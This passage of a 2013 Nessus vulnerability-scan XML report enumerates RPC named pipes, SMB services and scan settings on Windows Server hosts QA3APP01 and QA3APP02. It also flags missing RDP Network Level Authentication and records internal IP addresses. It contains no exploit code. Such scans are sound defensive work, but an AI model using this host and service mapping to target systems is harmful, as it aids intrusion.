11614 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
11615 Description : Unknown RPC service
11616 Type : Remote RPC service
11617 Named pipe : \PIPE\atsvc
11618 Netbios name : \\QA3APP02
11619
11620 Object UUID : 00000000-0000-0000-0000-000000000000
11621 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
11622 Description : Unknown RPC service
11623 Type : Remote RPC service
11624 Named pipe : \PIPE\srvsvc
11625 Netbios name : \\QA3APP02
11626
11627 Object UUID : 00000000-0000-0000-0000-000000000000
11628 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
11629 Description : Unknown RPC service
11630 Annotation : Event log TCPIP
11631 Type : Remote RPC service
11632 Named pipe : \pipe\eventlog
11633 Netbios name : \\QA3APP02
11634
11635 Object UUID : 00000000-0000-0000-0000-000000000000
11636 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
11637 Description : Unknown RPC service
11638 Annotation : NRP server endpoint
11639 Type : Remote RPC service
11640 Named pipe : \pipe\eventlog
11641 Netbios name : \\QA3APP02
11642
11643 Object UUID : 00000000-0000-0000-0000-000000000000
11644 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
11645 Description : Unknown RPC service
11646 Annotation : DHCPv6 Client LRPC Endpoint
11647 Type : Remote RPC service
11648 Named pipe : \pipe\eventlog
11649 Netbios name : \\QA3APP02
11650
11651 Object UUID : 00000000-0000-0000-0000-000000000000
11652 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
11653 Description : DHCP Client Service
11654 Windows process : svchost.exe
11655 Annotation : DHCP Client LRPC Endpoint
11656 Type : Remote RPC service
11657 Named pipe : \pipe\eventlog
11658 Netbios name : \\QA3APP02
11659
11660 </plugin_output>
11661 </ReportItem>
11662 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
11663 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
11664 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
11665 <fname>dcetest.nasl</fname>
11666 <plugin_modification_date>2012/01/31</plugin_modification_date>
11667 <plugin_name>DCE Services Enumeration</plugin_name>
11668 <plugin_publication_date>2001/08/26</plugin_publication_date>
11669 <plugin_type>local</plugin_type>
11670 <risk_factor>None</risk_factor>
11671 <script_version>$Revision: 1.50 $</script_version>
11672 <solution>n/a</solution>
11673 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
11674 <plugin_output>
11675 The following DCERPC services are available locally :
11676
11677 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
11678 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
11679 Description : Unknown RPC service
11680 Type : Local RPC service
11681 Named pipe : WindowsShutdown
11682
11683 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
11684 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
11685 Description : Unknown RPC service
11686 Type : Local RPC service
11687 Named pipe : WMsgKRpc07EDB0
11688
11689 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
11690 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
11691 Description : Unknown RPC service
11692 Type : Local RPC service
11693 Named pipe : WindowsShutdown
11694
11695 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
11696 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
11697 Description : Unknown RPC service
11698 Type : Local RPC service
11699 Named pipe : WMsgKRpc07EDB0
11700
11701 Object UUID : 00000000-0000-0000-0000-000000000000
11702 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
11703 Description : DHCP Client Service
11704 Windows process : svchost.exe
11705 Annotation : DHCP Client LRPC Endpoint
11706 Type : Local RPC service
11707 Named pipe : dhcpcsvc
11708
11709 Object UUID : 00000000-0000-0000-0000-000000000000
11710 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
11711 Description : DHCP Client Service
11712 Windows process : svchost.exe
11713 Annotation : DHCP Client LRPC Endpoint
11714 Type : Local RPC service
11715 Named pipe : dhcpcsvc6
11716
11717 Object UUID : 00000000-0000-0000-0000-000000000000
11718 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11719 Description : Security Account Manager
11720 Windows process : lsass.exe
11721 Type : Local RPC service
11722 Named pipe : LRPC-eeb720d97c5ca4a9b8
11723
11724 Object UUID : 00000000-0000-0000-0000-000000000000
11725 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11726 Description : Security Account Manager
11727 Windows process : lsass.exe
11728 Type : Local RPC service
11729 Named pipe : audit
11730
11731 Object UUID : 00000000-0000-0000-0000-000000000000
11732 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11733 Description : Security Account Manager
11734 Windows process : lsass.exe
11735 Type : Local RPC service
11736 Named pipe : securityevent
11737
11738 Object UUID : 00000000-0000-0000-0000-000000000000
11739 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11740 Description : Security Account Manager
11741 Windows process : lsass.exe
11742 Type : Local RPC service
11743 Named pipe : LSARPC_ENDPOINT
11744
11745 Object UUID : 00000000-0000-0000-0000-000000000000
11746 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11747 Description : Security Account Manager
11748 Windows process : lsass.exe
11749 Type : Local RPC service
11750 Named pipe : lsapolicylookup
11751
11752 Object UUID : 00000000-0000-0000-0000-000000000000
11753 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11754 Description : Security Account Manager
11755 Windows process : lsass.exe
11756 Type : Local RPC service
11757 Named pipe : lsasspirpc
11758
11759 Object UUID : 00000000-0000-0000-0000-000000000000
11760 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11761 Description : Security Account Manager
11762 Windows process : lsass.exe
11763 Type : Local RPC service
11764 Named pipe : protected_storage
11765
11766 Object UUID : 00000000-0000-0000-0000-000000000000
11767 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11768 Description : Security Account Manager
11769 Windows process : lsass.exe
11770 Type : Local RPC service
11771 Named pipe : dsrole
11772
11773 Object UUID : 00000000-0000-0000-0000-000000000000
11774 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
11775 Description : Security Account Manager
11776 Windows process : lsass.exe
11777 Type : Local RPC service
11778 Named pipe : samss lpc
11779
11780 Object UUID : 3bdb59a0-d736-4d44-9074-c1ee00000001
11781 UUID : 24019106-a203-4642-b88d-82dae9158929, version 1.0
11782 Description : Unknown RPC service
11783 Type : Local RPC service
11784 Named pipe : LRPC-d18362d79e7c361549
11785
11786 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000001
11787 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
11788 Description : Unknown RPC service
11789 Type : Local RPC service
11790 Named pipe : WMsgKRpc033B7D1
11791
11792 Object UUID : 6d726574-7273-0076-0000-000000000000
11793 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
11794 Description : Unknown RPC service
11795 Annotation : Impl friendly name
11796 Type : Local RPC service
11797 Named pipe : LRPC-a27e54eed83bf938d7
11798
11799 Object UUID : 283aaff4-5f60-46df-aa21-95466d1abbff
11800 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
11801 Description : Distributed Transaction Coordinator
11802 Windows process : msdtc.exe
11803 Type : Local RPC service
11804 Named pipe : LRPC-206d529862ba1fa65a
11805
11806 Object UUID : b98fdfdd-5078-4409-8e9f-46b41bc8828d
11807 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
11808 Description : Distributed Transaction Coordinator
11809 Windows process : msdtc.exe
11810 Type : Local RPC service
11811 Named pipe : LRPC-206d529862ba1fa65a
11812
11813 Object UUID : d25b706e-5e05-4091-a605-1bd50b5860f5
11814 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
11815 Description : Distributed Transaction Coordinator
11816 Windows process : msdtc.exe
11817 Type : Local RPC service
11818 Named pipe : LRPC-206d529862ba1fa65a
11819
11820 Object UUID : 1c6fbc93-987c-4f26-93c4-e7dadefe7cca
11821 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
11822 Description : Distributed Transaction Coordinator
11823 Windows process : msdtc.exe
11824 Type : Local RPC service
11825 Named pipe : LRPC-206d529862ba1fa65a
11826
11827 Object UUID : 11417663-06f4-4011-8b7d-c2012591e9c2
11828 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
11829 Description : Distributed Transaction Coordinator
11830 Windows process : msdtc.exe
11831 Type : Local RPC service
11832 Named pipe : OLED0032FEDCB4E4226AB987FA0B97B
11833
11834 Object UUID : 11417663-06f4-4011-8b7d-c2012591e9c2
11835 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
11836 Description : Distributed Transaction Coordinator
11837 Windows process : msdtc.exe
11838 Type : Local RPC service
11839 Named pipe : LRPC-7983e165c7d13b1fed
11840
11841 Object UUID : 00000000-0000-0000-0000-000000000000
11842 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
11843 Description : IPsec Services (Windows XP &amp; 2003)
11844 Windows process : lsass.exe
11845 Annotation : IPSec Policy agent endpoint
11846 Type : Local RPC service
11847 Named pipe : LRPC-dba9332152b3af99df
11848
11849 Object UUID : 00000000-0000-0000-0000-000000000000
11850 UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
11851 Description : Unknown RPC service
11852 Annotation : Spooler function endpoint
11853 Type : Local RPC service
11854 Named pipe : spoolss
11855
11856 Object UUID : 00000000-0000-0000-0000-000000000000
11857 UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
11858 Description : Unknown RPC service
11859 Annotation : Spooler base remote object endpoint
11860 Type : Local RPC service
11861 Named pipe : spoolss
11862
11863 Object UUID : 00000000-0000-0000-0000-000000000000
11864 UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
11865 Description : Unknown RPC service
11866 Annotation : Spooler function endpoint
11867 Type : Local RPC service
11868 Named pipe : spoolss
11869
11870 Object UUID : 00000000-0000-0000-0000-000000000000
11871 UUID : dd490425-5325-4565-b774-7e27d6c09c24, version 1.0
11872 Description : Unknown RPC service
11873 Annotation : Base Firewall Engine API
11874 Type : Local RPC service
11875 Named pipe : LRPC-da454b4fc9aeadd7a9
11876
11877 Object UUID : 00000000-0000-0000-0000-000000000000
11878 UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
11879 Description : Unknown RPC service
11880 Annotation : Fw APIs
11881 Type : Local RPC service
11882 Named pipe : LRPC-da454b4fc9aeadd7a9
11883
11884 Object UUID : 00000000-0000-0000-0000-000000000000
11885 UUID : 2fb92682-6599-42dc-ae13-bd2ca89bd11c, version 1.0
11886 Description : Unknown RPC service
11887 Annotation : Fw APIs
11888 Type : Local RPC service
11889 Named pipe : LRPC-da454b4fc9aeadd7a9
11890
11891 Object UUID : 00000000-0000-0000-0000-000000000000
11892 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
11893 Description : Unknown RPC service
11894 Annotation : NSI server endpoint
11895 Type : Local RPC service
11896 Named pipe : OLE589A9569DF1F488396DB8BAD987B
11897
11898 Object UUID : 00000000-0000-0000-0000-000000000000
11899 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
11900 Description : Unknown RPC service
11901 Annotation : NSI server endpoint
11902 Type : Local RPC service
11903 Named pipe : LRPC-ee5e1b9074118f1c02
11904
11905 Object UUID : 00000000-0000-0000-0000-000000000000
11906 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
11907 Description : Unknown RPC service
11908 Annotation : WinHttp Auto-Proxy Service
11909 Type : Local RPC service
11910 Named pipe : OLE589A9569DF1F488396DB8BAD987B
11911
11912 Object UUID : 00000000-0000-0000-0000-000000000000
11913 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
11914 Description : Unknown RPC service
11915 Annotation : WinHttp Auto-Proxy Service
11916 Type : Local RPC service
11917 Named pipe : LRPC-ee5e1b9074118f1c02
11918
11919 Object UUID : 00000000-0000-0000-0000-000000000000
11920 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
11921 Description : Unknown RPC service
11922 Annotation : WinHttp Auto-Proxy Service
11923 Type : Local RPC service
11924 Named pipe : W32TIME_ALT
11925
11926 Object UUID : 666f7270-6c69-7365-0000-000000000000
11927 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
11928 Description : Unknown RPC service
11929 Annotation : Impl friendly name
11930 Type : Local RPC service
11931 Named pipe : IUserProfile2
11932
11933 Object UUID : 6c637067-6569-746e-0000-000000000000
11934 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
11935 Description : Unknown RPC service
11936 Annotation : Impl friendly name
11937 Type : Local RPC service
11938 Named pipe : IUserProfile2
11939
11940 Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
11941 UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
11942 Description : Unknown RPC service
11943 Type : Local RPC service
11944 Named pipe : IUserProfile2
11945
11946 Object UUID : 736e6573-0000-0000-0000-000000000000
11947 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
11948 Description : Unknown RPC service
11949 Annotation : Impl friendly name
11950 Type : Local RPC service
11951 Named pipe : IUserProfile2
11952
11953 Object UUID : 736e6573-0000-0000-0000-000000000000
11954 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
11955 Description : Unknown RPC service
11956 Annotation : Impl friendly name
11957 Type : Local RPC service
11958 Named pipe : OLE3EA15B9128BF46D6AD305659F174
11959
11960 Object UUID : 736e6573-0000-0000-0000-000000000000
11961 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
11962 Description : Unknown RPC service
11963 Annotation : Impl friendly name
11964 Type : Local RPC service
11965 Named pipe : senssvc
11966
11967 Object UUID : 00000000-0000-0000-0000-000000000000
11968 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
11969 Description : Scheduler Service
11970 Windows process : svchost.exe
11971 Type : Local RPC service
11972 Named pipe : IUserProfile2
11973
11974 Object UUID : 00000000-0000-0000-0000-000000000000
11975 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
11976 Description : Scheduler Service
11977 Windows process : svchost.exe
11978 Type : Local RPC service
11979 Named pipe : OLE3EA15B9128BF46D6AD305659F174
11980
11981 Object UUID : 00000000-0000-0000-0000-000000000000
11982 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
11983 Description : Scheduler Service
11984 Windows process : svchost.exe
11985 Type : Local RPC service
11986 Named pipe : senssvc
11987
11988 Object UUID : 00000000-0000-0000-0000-000000000000
11989 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
11990 Description : Scheduler Service
11991 Windows process : svchost.exe
11992 Type : Local RPC service
11993 Named pipe : IUserProfile2
11994
11995 Object UUID : 00000000-0000-0000-0000-000000000000
11996 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
11997 Description : Scheduler Service
11998 Windows process : svchost.exe
11999 Type : Local RPC service
12000 Named pipe : OLE3EA15B9128BF46D6AD305659F174
12001
12002 Object UUID : 00000000-0000-0000-0000-000000000000
12003 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
12004 Description : Scheduler Service
12005 Windows process : svchost.exe
12006 Type : Local RPC service
12007 Named pipe : senssvc
12008
12009 Object UUID : 00000000-0000-0000-0000-000000000000
12010 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
12011 Description : Scheduler Service
12012 Windows process : svchost.exe
12013 Type : Local RPC service
12014 Named pipe : IUserProfile2
12015
12016 Object UUID : 00000000-0000-0000-0000-000000000000
12017 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
12018 Description : Scheduler Service
12019 Windows process : svchost.exe
12020 Type : Local RPC service
12021 Named pipe : OLE3EA15B9128BF46D6AD305659F174
12022
12023 Object UUID : 00000000-0000-0000-0000-000000000000
12024 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
12025 Description : Scheduler Service
12026 Windows process : svchost.exe
12027 Type : Local RPC service
12028 Named pipe : senssvc
12029
12030 Object UUID : 00000000-0000-0000-0000-000000000000
12031 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
12032 Description : Unknown RPC service
12033 Type : Local RPC service
12034 Named pipe : IUserProfile2
12035
12036 Object UUID : 00000000-0000-0000-0000-000000000000
12037 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
12038 Description : Unknown RPC service
12039 Type : Local RPC service
12040 Named pipe : OLE3EA15B9128BF46D6AD305659F174
12041
12042 Object UUID : 00000000-0000-0000-0000-000000000000
12043 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
12044 Description : Unknown RPC service
12045 Type : Local RPC service
12046 Named pipe : senssvc
12047
12048 Object UUID : 00000000-0000-0000-0000-000000000000
12049 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
12050 Description : Unknown RPC service
12051 Annotation : IKE/Authip API
12052 Type : Local RPC service
12053 Named pipe : IUserProfile2
12054
12055 Object UUID : 00000000-0000-0000-0000-000000000000
12056 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
12057 Description : Unknown RPC service
12058 Annotation : IKE/Authip API
12059 Type : Local RPC service
12060 Named pipe : OLE3EA15B9128BF46D6AD305659F174
12061
12062 Object UUID : 00000000-0000-0000-0000-000000000000
12063 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
12064 Description : Unknown RPC service
12065 Annotation : IKE/Authip API
12066 Type : Local RPC service
12067 Named pipe : senssvc
12068
12069 Object UUID : 00000000-0000-0000-0000-000000000000
12070 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
12071 Description : Unknown RPC service
12072 Annotation : IP Transition Configuration endpoint
12073 Type : Local RPC service
12074 Named pipe : IUserProfile2
12075
12076 Object UUID : 00000000-0000-0000-0000-000000000000
12077 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
12078 Description : Unknown RPC service
12079 Annotation : IP Transition Configuration endpoint
12080 Type : Local RPC service
12081 Named pipe : OLE3EA15B9128BF46D6AD305659F174
12082
12083 Object UUID : 00000000-0000-0000-0000-000000000000
12084 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
12085 Description : Unknown RPC service
12086 Annotation : IP Transition Configuration endpoint
12087 Type : Local RPC service
12088 Named pipe : senssvc
12089
12090 Object UUID : 00000000-0000-0000-0000-000000000000
12091 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
12092 Description : Unknown RPC service
12093 Annotation : XactSrv service
12094 Type : Local RPC service
12095 Named pipe : IUserProfile2
12096
12097 Object UUID : 00000000-0000-0000-0000-000000000000
12098 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
12099 Description : Unknown RPC service
12100 Annotation : XactSrv service
12101 Type : Local RPC service
12102 Named pipe : OLE3EA15B9128BF46D6AD305659F174
12103
12104 Object UUID : 00000000-0000-0000-0000-000000000000
12105 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
12106 Description : Unknown RPC service
12107 Annotation : XactSrv service
12108 Type : Local RPC service
12109 Named pipe : senssvc
12110
12111 Object UUID : 73736573-6f69-656e-6e76-000000000000
12112 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
12113 Description : Unknown RPC service
12114 Annotation : Impl friendly name
12115 Type : Local RPC service
12116 Named pipe : IUserProfile2
12117
12118 Object UUID : 73736573-6f69-656e-6e76-000000000000
12119 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
12120 Description : Unknown RPC service
12121 Annotation : Impl friendly name
12122 Type : Local RPC service
12123 Named pipe : OLE3EA15B9128BF46D6AD305659F174
12124
12125 Object UUID : 73736573-6f69-656e-6e76-000000000000
12126 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
12127 Description : Unknown RPC service
12128 Annotation : Impl friendly name
12129 Type : Local RPC service
12130 Named pipe : senssvc
12131
12132 Object UUID : 00000000-0000-0000-0000-000000000000
12133 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
12134 Description : Unknown RPC service
12135 Type : Local RPC service
12136 Named pipe : IUserProfile2
12137
12138 Object UUID : 00000000-0000-0000-0000-000000000000
12139 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
12140 Description : Unknown RPC service
12141 Type : Local RPC service
12142 Named pipe : OLE3EA15B9128BF46D6AD305659F174
12143
12144 Object UUID : 00000000-0000-0000-0000-000000000000
12145 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
12146 Description : Unknown RPC service
12147 Type : Local RPC service
12148 Named pipe : senssvc
12149
12150 Object UUID : 00000000-0000-0000-0000-000000000000
12151 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
12152 Description : Unknown RPC service
12153 Annotation : Event log TCPIP
12154 Type : Local RPC service
12155 Named pipe : eventlog
12156
12157 Object UUID : 00000000-0000-0000-0000-000000000000
12158 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
12159 Description : Unknown RPC service
12160 Annotation : NRP server endpoint
12161 Type : Local RPC service
12162 Named pipe : eventlog
12163
12164 Object UUID : 00000000-0000-0000-0000-000000000000
12165 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
12166 Description : Unknown RPC service
12167 Annotation : DHCPv6 Client LRPC Endpoint
12168 Type : Local RPC service
12169 Named pipe : eventlog
12170
12171 Object UUID : 00000000-0000-0000-0000-000000000000
12172 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
12173 Description : Unknown RPC service
12174 Annotation : DHCPv6 Client LRPC Endpoint
12175 Type : Local RPC service
12176 Named pipe : dhcpcsvc6
12177
12178 Object UUID : 00000000-0000-0000-0000-000000000000
12179 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
12180 Description : DHCP Client Service
12181 Windows process : svchost.exe
12182 Annotation : DHCP Client LRPC Endpoint
12183 Type : Local RPC service
12184 Named pipe : eventlog
12185
12186 </plugin_output>
12187 </ReportItem>
12188 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
12189 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
12190 <fname>cifs445.nasl</fname>
12191 <plugin_modification_date>2012/01/31</plugin_modification_date>
12192 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
12193 <plugin_publication_date>2002/06/05</plugin_publication_date>
12194 <plugin_type>remote</plugin_type>
12195 <risk_factor>None</risk_factor>
12196 <script_version>$Revision: 1.37 $</script_version>
12197 <solution>n/a</solution>
12198 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
12199 <plugin_output>
12200 An SMB server is running on this port.
12201 </plugin_output>
12202 </ReportItem>
12203 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
12204 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
12205 <fname>cifs445.nasl</fname>
12206 <plugin_modification_date>2012/01/31</plugin_modification_date>
12207 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
12208 <plugin_publication_date>2002/06/05</plugin_publication_date>
12209 <plugin_type>remote</plugin_type>
12210 <risk_factor>None</risk_factor>
12211 <script_version>$Revision: 1.37 $</script_version>
12212 <solution>n/a</solution>
12213 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
12214 <plugin_output>
12215 A CIFS server is running on this port.
12216 </plugin_output>
12217 </ReportItem>
12218 </ReportHost>
12219 <ReportHost name="qa3app01"><HostProperties>
12220 <tag name="HOST_END">Mon Jul 1 11:41:29 2013</tag>
12221 <tag name="patch-summary-total-cves">1</tag>
12222 <tag name="system-type">general-purpose</tag>
12223 <tag name="operating-system">Microsoft Windows Server 2008 R2 Standard Service Pack 1</tag>
12224 <tag name="mac-address">00:50:56:81:01:b8</tag>
12225 <tag name="traceroute-hop-1">10.31.112.21</tag>
12226 <tag name="traceroute-hop-0">172.16.138.2</tag>
12227 <tag name="host-ip">10.31.112.21</tag>
12228 <tag name="host-fqdn">qa3app01</tag>
12229 <tag name="netbios-name">QA3APP01</tag>
12230 <tag name="HOST_START">Mon Jul 1 11:33:11 2013</tag>
12231 </HostProperties>
12232 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="19506" pluginName="Nessus Scan Information" pluginFamily="Settings">
12233 <description>This script displays, for each tested host, information about the scan itself :
12234
12235 - The version of the plugin set
12236 - The type of plugin feed (HomeFeed or ProfessionalFeed)
12237 - The version of the Nessus Engine
12238 - The port scanner(s) used
12239 - The port range scanned
12240 - Whether credentialed or third-party patch management checks are possible
12241 - The date of the scan
12242 - The duration of the scan
12243 - The number of hosts scanned in parallel
12244 - The number of checks done in parallel</description>
12245 <fname>scan_info.nasl</fname>
12246 <plugin_modification_date>2013/05/31</plugin_modification_date>
12247 <plugin_name>Nessus Scan Information</plugin_name>
12248 <plugin_publication_date>2005/08/26</plugin_publication_date>
12249 <plugin_type>summary</plugin_type>
12250 <risk_factor>None</risk_factor>
12251 <script_version>$Revision: 1.59 $</script_version>
12252 <solution>n/a</solution>
12253 <synopsis>Information about the Nessus scan.</synopsis>
12254 <plugin_output>Information about this scan :
12255
12256 Nessus version : 5.2.1
12257 Plugin feed version : 201306260615
12258 Type of plugin feed : HomeFeed (Non-commercial use only)
12259 Scanner IP : 172.16.138.174
12260 Port scanner(s) : nessus_syn_scanner
12261 Port range : default
12262 Thorough tests : no
12263 Experimental tests : no
12264 Paranoia level : 1
12265 Report Verbosity : 1
12266 Safe checks : yes
12267 Optimize the test : yes
12268 Credentialed checks : no
12269 Patch management checks : None
12270 CGI scanning : disabled
12271 Web application tests : disabled
12272 Max hosts : 80
12273 Max checks : 5
12274 Recv timeout : 5
12275 Backports : None
12276 Allow post-scan editing: Yes
12277 Scan Start Date : 2013/7/1 11:33
12278 Scan duration : 494 sec
12279 </plugin_output>
12280 </ReportItem>
12281 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="10919" pluginName="Open Port Re-check" pluginFamily="General">
12282 <description>One of several ports that were previously open are now closed or unresponsive.
12283
12284 There are several possible reasons for this :
12285
12286 - The scan may have caused a service to freeze or stop running.
12287
12288 - An administrator may have stopped a particular service during the scanning process.
12289
12290 This might be an availability problem related to the following :
12291
12292 - A network outage has been experienced during the scan, and the remote network cannot be reached anymore by the scanner.
12293
12294 - This scanner may has been blacklisted by the system administrator or by an automatic intrusion detection / prevention system that detected the scan.
12295
12296 - The remote host is now down, either because a user turned it off during the scan or because a select denial of service was effective.
12297
12298 In any case, the audit of the remote host might be incomplete and may need to be done again</description>
12299 <fname>check_ports.nasl</fname>
12300 <plugin_modification_date>2013/05/14</plugin_modification_date>
12301 <plugin_name>Open Port Re-check</plugin_name>
12302 <plugin_publication_date>2002/03/19</plugin_publication_date>
12303 <plugin_type>remote</plugin_type>
12304 <risk_factor>None</risk_factor>
12305 <script_version>$Revision: 1.41 $</script_version>
12306 <solution>- Increase checks_read_timeout and/or reduce max_checks
12307
12308 - Disable any IPS during the Nessus scan</solution>
12309 <synopsis>Previously open ports are now closed.</synopsis>
12310 <plugin_output>Port 135 was detected as being open but is now unresponsive
12311 Port 3389 was detected as being open but is now unresponsive
12312 Port 80 was detected as being open but is now unresponsive
12313 </plugin_output>
12314 </ReportItem>
12315 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="58453" pluginName="Terminal Services Doesn&apos;t Use Network Level Authentication (NLA)" pluginFamily="Misc.">
12316 <cpe>cpe:/o:microsoft:windows
12317 cpe:/a:microsoft:remote_desktop_protocol</cpe>
12318 <cvss_base_score>4.3</cvss_base_score>
12319 <cvss_vector>CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N</cvss_vector>
12320 <description>The remote Terminal Services is not configured to use Network Level Authentication (NLA). NLA uses the Credential Security Support Provider (CredSSP) protocol to perform strong server authentication either through TLS/SSL or Kerberos mechanisms, which protect against man-in-the-middle attacks. In addition to improving authentication, NLA also helps protect the remote computer from malicious users and software by completing user authentication before a full RDP connection is established.</description>
12321 <fname>rdp_credssp_detect.nbin</fname>
12322 <plugin_modification_date>2013/04/22</plugin_modification_date>
12323 <plugin_name>Terminal Services Doesn&apos;t Use Network Level Authentication (NLA)</plugin_name>
12324 <plugin_publication_date>2012/03/23</plugin_publication_date>
12325 <plugin_type>remote</plugin_type>
12326 <risk_factor>Medium</risk_factor>
12327 <script_version>$Revision: 1.9 $</script_version>
12328 <see_also>http://technet.microsoft.com/en-us/library/cc732713.aspx
12329 http://www.nessus.org/u?e2628096</see_also>
